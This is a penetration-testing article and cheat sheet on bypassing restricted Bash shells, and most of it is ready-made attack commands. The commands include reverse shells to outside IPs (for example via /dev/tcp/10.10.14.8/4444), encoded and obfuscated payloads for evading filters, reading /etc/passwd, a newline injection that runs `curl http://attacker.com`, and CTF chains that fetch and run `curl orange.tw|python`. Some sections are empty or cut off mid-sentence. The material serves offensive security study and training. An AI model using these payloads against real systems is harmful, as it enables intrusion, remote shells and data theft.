In many penetration testing scenarios, attackers encounter systems with restricted shell environments, such as restricted Bash (rbash). These restrictions prevent the use of certain commands, changing directories, or accessing specific binaries, significantly limiting what a pentester can do. However, these restrictions can often be bypassed using clever techniques. This article explores practical methods for bypassing Bash restrictions, focusing on techniques commonly used by pentesters. Weβll discuss why each technique works, how it is useful, and provide commands to try in your pentesting efforts.
1. Escape from Restricted Shells
Some environments impose restricted shells (rbash, bash --restricted) where commands like changing directories or executing certain binaries are blocked.
Steps to Escape:
Method 1: Using bash command.
bash
Sometimes, restricted shells only block certain commands but donβt block launching a regular shell like bash.
Method 2: Using sh.
/bin/sh
On some systems, the sh command might not be restricted even if bash is.
Method 3: Using vi or vim. In restricted environments, text editors like vi or vim may still be accessible. You can launch a shell from within vim:
Open vim:
vi
Press : to open the command prompt in vim, then type:
:!bash
This will execute bash and give you an unrestricted shell.
Method 4: Using python. Many environments restrict shell commands but allow certain scripting languages:
This will spawn an unrestricted bash shell using Python.
Method 5: Using script. The script command is generally used to record terminal sessions, but it can be exploited to spawn an unrestricted shell. This is useful in environments where certain commands are restricted or where shell capabilities are limited:
/usr/bin/script -qc /bin/bash /dev/null
2. Bypassing Path Restrictions with Binary Substitution
What it does: Some restricted shells may limit which commands can be run by controlling access to binaries. However, you can bypass these restrictions by substituting characters in binary names or using wildcards.
Techniques:
Question Mark Substitution: Replace one character in the binary name with a ?.
Wildcard Substitution: Use * in place of one or more characters.
/usr/bin/who*mi # Executes whoami
[Character Substitution]: Use [chars] to bypass restrictions by specifying multiple possibilities.
/usr/bin/n[c] # Substitute nc
Why itβs useful: This trick is simple and often works because restricted shells don't always sanitize the input or enforce binary restrictions effectively. For a pentester, this can be an easy win for executing basic commands.
3. Reverse Shells and Encoding
What it does: Reverse shells allow attackers to gain control of a remote machine by sending a shell back to their own system. One effective method to bypass restrictions or detection is by using encoding techniques, like base64 or hexadecimal encoding.
Techniques:
Double Base64 Encoding: Useful to evade bad character filtering.
Why itβs useful: These methods can often bypass network defenses, particularly when restrictions on characters or commands are present. Encoding techniques are powerful for evading firewalls and intrusion detection systems, making them crucial for pentesters.
4. IFS (Internal Field Separator) Exploitation
What it does: The IFS variable determines how Bash interprets spaces and other delimiters. By changing its value, you can bypass restrictions that rely on space separation.
Techniques:
Simple IFS Bypass: Replace spaces with $IFS.
cat${IFS}/etc/passwd # Bypasses space restrictions to read passwd file
More Complex IFS Substitution:
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
Why itβs useful: Altering IFS allows pentesters to manipulate how commands are interpreted, bypassing typical command restrictions in environments that prevent the use of spaces or special characters.
5. Uninitialized Variables and String Concatenation
What it does: Uninitialized variables in Bash default to null, allowing clever concatenation of strings to bypass command restrictions.
Techniques:
Uninitialized Variables:
p${u}i${u}n${u}g # Executes ping by using null variables
String Concatenation with History:
!-1!-2 # Combines previous commands to execute "whoami"
Why itβs useful: This technique is a great way to build valid commands without directly typing them, which can help evade basic command restrictions.
6. Bypassing Forbidden Spaces
What it does: Some environments restrict the use of spaces, preventing typical command execution. You can bypass this by using alternative methods of splitting or concatenating arguments.
Techniques:
Using Form Substitution:
{cat,lol.txt} # Executes 'cat lol.txt'
Using Tabs Instead of Spaces:
echo "ls\x09-l" | bash # Executes "ls -l" using a tab
Why itβs useful: This method helps in systems that prevent space characters, which could otherwise render typical shell commands unusable.
7. Hexadecimal Encoding
What it does: Encoding commands in hexadecimal allows them to be obfuscated, bypassing filters and restrictions on certain keywords.
Techniques:
Hexadecimal Encoded Command:
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" # Decodes to "/etc/passwd"
Why itβs useful: This technique is powerful when pentesters face systems that filter or block common command names. It provides a way to obscure commands in a way that bypasses detection.
8. Bypassing Regex-Based Restrictions
What it does: Some environments enforce regular expressions to block or filter commands. However, these can often be bypassed by inserting unexpected characters like newline or escape sequences.
Techniques:
Injecting New Line Characters:
1%0a`curl http://attacker.com` # Bypasses regex to inject newline and execute curl
Why itβs useful: Regular expression filters are often incomplete, and adding newline characters or other escape sequences can easily fool the filters.
9. Using Builtins for Command Execution
What it does: Even in highly restricted environments, some built-in shell functions may still be available. Pentesters can leverage these to execute commands when external binaries are blocked.
Techniques:
List Shell Builtins:
declare builtins # Check available built-in functions
Executing Commands with Builtins:
SHELL=/bin/bash; PATH=/bin; /bin/ls # Execute ls even if restricted
Why itβs useful: Many restricted shells still allow some built-in functions, making this a good last-resort method when external binaries are blocked.
10. Time-Based Data Exfiltration
What it does: When unable to directly execute commands or communicate, you can exfiltrate data based on timing responses. For example, adjusting response times based on the data you want to leak.
Techniques:
Time-Based Data Leak:
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
Why itβs useful: This technique helps in scenarios where direct data exfiltration is not possible but timing variations can be used to infer data.
Bypass Linux Restrictions
Reverse Shell
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
Short Rev shell
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
Bypass Paths and forbidden words
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
Bypass forbidden spaces
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
Getting chars from Env Variables
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
DNS data exfiltration
Builtins
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
Bashfuscator
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
RCE with 5 chars
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
RCE with 4 chars
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
You could use burpcollab or for example.
In case you cannot execute external functions and only have access to a limited set of builtins to obtain RCE, there are some handy tricks to do it. Usually you won't be able to use all of the builtins, so you should know all your options to try to bypass the jail. Idea from .
First of all check all the . Then here you have some recommendations: